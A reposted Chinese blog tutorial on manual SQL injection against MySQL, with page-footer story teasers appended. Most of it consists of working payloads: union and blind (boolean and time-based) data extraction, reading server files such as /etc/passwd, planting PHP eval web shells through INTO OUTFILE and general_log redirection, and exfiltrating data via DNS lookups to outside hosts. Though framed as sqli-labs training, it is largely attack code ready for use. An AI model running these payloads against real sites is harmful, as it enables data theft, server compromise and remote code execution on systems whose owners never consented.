可能是网上最易懂的SQL手工注入教程【个人笔记精华整理】(转载)

我是技术不高,但我能带你入门

我遇到过无数人曾来像我表示自己想学网络安全,走了很多弯路,求师被骗过很多钱。

这样的人我没办法帮助太多,限于时间精力与能力,帮得了1个帮不了100个,再说我也不是昔日的雷锋了。

如今我也基本上不做渗透了,回过头看到几年前自己笔记中有一些注入笔记,虽然我没有大牛水平,没有高端操作,但我希望我能把我仅有的一些技术与资源,能够最大程度惠及到网络安全向往者身上,能够带领一部分新人步入网络安全。

网络安全其实跟其他行业一样,网上什么教程都有,但能百度到不一定能学到,大多杂乱无章,教程更多的是表达成果,及简要的过程。供学习者来说可消化性太低。

其实对于入门者来说最重要的是:从哪开始,如何开始,需要秉持什么样的价值观,而不是天天混圈子,喊这个表哥,那个大佬。

SQL注入教程说明

  • 本教程旨在带领理解SQL注入基本原理与实现方式,以及常见的注入操作。
  • 学习SQL注入之前需要先学习基本的SQL语句http基本的get与post请求,url编码
  • 本教程从笔记中整理修饰,可能连贯性不强,不够系统,但都是重要且需要理解的点。
  • 建议基于Sqlilab边学习边实践
  • 在理解本教程完后,可以学习:Sqlmap使用教程【个人笔记精华整理】

SQL手工注入入门教程

mysql基本hack函数:

mid

SELECT MID(ColumnName, Start [, Length]) FROM TableName

LEFT(str,len)

返回字符串str的最左面len个字符

ASCII(str) =ORD

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

SUBSTR(str,pos,len)

从str中多少个字符开始,截取多少位

CAST

SELECT CAST(’12’ AS int) 将目标str转化为目标数据类型

IFNULL(expr1,expr2)

如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2

updatexml()

extracavalue()

判断字符的一些语句:

▲left(database(),1)>’s’ //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

▲ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数

Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

Ord()函数同 ascii(),将字符转为 ascii 值

LOAD_FILE

加载本地文件(服务器上)

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

说明:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

说明:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’) into outfile ‘c:\wamp\www\test.php’

可以将其他路径的文件导到web目录来供访问,一般用于把包含一句话木马的文件导出成php来链接

get与post请求注释符的区别

一般很容易在各种教程上看到 ‘ or and 1=1 # 或 ‘ or and 1=1 –+

但可能没人告诉你什么情况下该用什么。

是sql语句中的注释符,+ 在http请求中表示空格,但get与post中,由于http请求的转义,请求到后端sql语句拼接的时候可能会不一样。

get请求的时候一般用:

1′ and 1=1 –+

//这里最后的空格用+,在请求的时候不会被urlencode,到后端sql语句中就会成为一个正常的空格,– 后面的语句就会被注释。

但是如果在post里最后用加号的话就会被urlencode成%2B,实际的空格被转义才被转义成+

uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit

post请求的时候一般用:

这时候,在post的情况下,最后一个空格,可以直接用空格,不用+来代替,因为post参数 空格会自动转成+;

而之所以不在get注入的时候使用“#”来注释,是因为,请求时,“#”不会被urlencode为“%23”,被识别为锚链接,无法传递至sql语句中。

找一个库中有哪些表名:

select table_name from information_schema where table_schema ="security";

找一个表中有哪些列名:

select column_name from information_schema where table_name ="eamils";

AND与OR的区别

需要理解 and和or的区别

image

场景举例:

没有订单可以测的情况下,只能用or

image

union联合查询注入

当union前面的语句为false时才会执行后面语句(这里一定先学习union查询的用法)

如以下,union语句前 先构建一个错误条件。

www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+
www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+

union与order by 后面跟着的列数是跟前面的select 列数相同的,不是该表的总列数

总列数判断为:

www.vuln.cn/sql/less-10/?id=1" and  if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+

解释:如果列数为2,则延时5秒响应。

判断某列是否存在也可以用:

www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)

当union查同库其他表时,需要知道库名:

如:

http://www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key

读文件/写shell

这里包含了网上常见或不常见的导出一句话的骚操作

支持union的方法,最常规的方式:

www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+

16进制写shell

www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+

其中上面的16 进制组合成的是一个一句话,其实这样的sql可以过waf

< ? eval($_POST[x]);?>

利用分隔符写shell

如果不支持union,可以用分隔符导出一句话,当然字段数要大于2。

select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23     #分隔符也可以用16进制表示
select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。

修改sql日志路径到web下的一个php文件

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址 
select '<?php eval($_POST[cmd]);?>'  #写入shell

读文件:

select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> UPDATE table_test
    -> SET blob_col=LOAD_FILE('/tmp/picture')
        -> WHERE id=1;

基于布尔值的盲注

  • 可以通过响应的不同可以判断sql语句是否正确
  • 枚举字符来判断字符是否存在

mysql的一些特征:

  • select 1 from information_schema.tables where table_schema="security";     这种情况后面只要为真,就会返回1
    
  • select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;
    

当试探第二个表的时候并不是改为limit1,1,因为limit针对的是条件筛选后的过滤,所以测试其他表的时候,继续修改正则即可,如果us[a-z]为1,ua[a-z],说明至少有两个表,一个表以us开头,另一个ua开头

  • ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 这种情况取第二个表的时候就需要limit 2,1了,因为表的排序是固定不会变的

  • select user() like ‘ro%’,有匹配的时候会返回1,

标准的正则布尔测试:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

比如判断数据库版本:

http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

判断是否条件成立的其他方法:

http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF

盲注流程

获取库名:

and%20ord(substr(database(),1,1))>80+–+

获取表名:

利用 substr() ascii()函数进行尝试

http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

获取字段名:

 http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+

获取表数据:

 http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+

通过dns获取盲注数据:http://www.vuln.cn/6805

由于union后必须跟上与前面同样的字段数,所以需要把load_file放在其中,非union直接select load_file即可

dns获取盲注数据示例:

http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+

\foobar 后面要有一串任意字符,访问远程目录的意思,所以这个“foobar”可以用任意字符替换。

还可以:

select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);

延时注入

适用于当我们测试的时候没有任何回显来判断是否有注入,比如订单搜索,比如当sql错误的时候返回与正确的相同,我们就无法通过回显差异来判断注入

如下图代码,成立与否页面不变化

所以就需要通过判断是否延时来确认是否有注入

http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+

如果过滤逗号,可以:

show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)

还可以利用 union select 加 order by 逐字猜解…

假设,name 是 admin

当 猜出第一个字母为 ‘a’ 时,’a’=’a’及真。用 0,1表示的话就是1,然后 sleep(15),如果是假,那就是sleep(05)…

先基本判断有没有延时,然后在load_file来dns查询

http://www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+

可以

www.www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+

post注入

最大的区别在于注释符的使用,and改为or而已

如:

') or (ord(substr(user(),1,1))>1#

转载地址:http://www.vuln.cn/9027

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容

  • pyspark.sql模块 模块上下文 Spark SQL和DataFrames的重要类: pyspark.sql...
    mpro阅读 9,446评论 0 13
  • 错误回显: count() 统计元祖的个数(相当于求和),如:select count(*) from infor...
    _return_阅读 848评论 0 5
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 686评论 0 3
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,259评论 0 5
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,929评论 0 2